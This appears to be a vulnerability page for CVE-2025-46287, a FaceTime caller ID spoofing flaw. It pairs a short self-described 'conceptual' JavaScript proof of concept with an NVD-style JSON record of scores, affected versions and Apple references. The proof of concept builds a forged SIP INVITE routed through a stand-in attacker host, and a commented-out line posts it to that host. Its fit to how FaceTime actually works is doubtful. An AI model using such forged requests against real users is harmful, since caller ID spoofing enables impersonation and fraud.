CVE-2025-46287

// CVE-2025-46287 PoC - FaceTime Caller ID Spoofing (Conceptual) // This is a conceptual proof-of-concept for educational purposes only // SIP INVITE request with forged Caller ID const sipForgedInvite = `INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP attacker.server.com;branch=z9hG4bK776 Max-Forwards: 70 From: <sip:[email protected]>;tag=12345 To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE Contact: <sip:[email protected]> Content-Type: application/sdp v=0 o=- 12345 12345 IN IP4 attacker.server.com s=Session c=IN IP4 attacker.server.com t=0 0 m=audio 49152 RTP/AVP 0 a=rtpmap:0 PCMU/8000`; // Send the forged SIP INVITE to target // In real attack scenario, this would be sent to Apple's FaceTime servers // or directly to target device if on same network console.log('Sending forged FaceTime INVITE with spoofed Caller ID...'); // fetch('https://attacker.server.com/send-sip', { method: 'POST', body: sipForgedInvite });

{"cve": {"id": "CVE-2025-46287", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:57.963", "lastModified": "2026-04-02T19:21:03.837", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An inconsistent user interface issue was addressed with improved state management. This issue is fixed in iOS 18.7.3 and iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2, macOS Sequoia 15.7.3, macOS Sonoma 14.8.3, macOS Tahoe 26.2, visionOS 26.2, watchOS 26.2. An attacker may be able to spoof their FaceTime caller ID."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.3", "matchCriteriaId": "E4928B54-3EBC-486A-915B-F20333B30466"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.3", "matchCriteriaId": "3428C860-E02D-4FE9-96F4-58EEAAB8321D"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125885", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125886", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125887", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125888", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125890", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125891", "source": "[email protected]"}]}}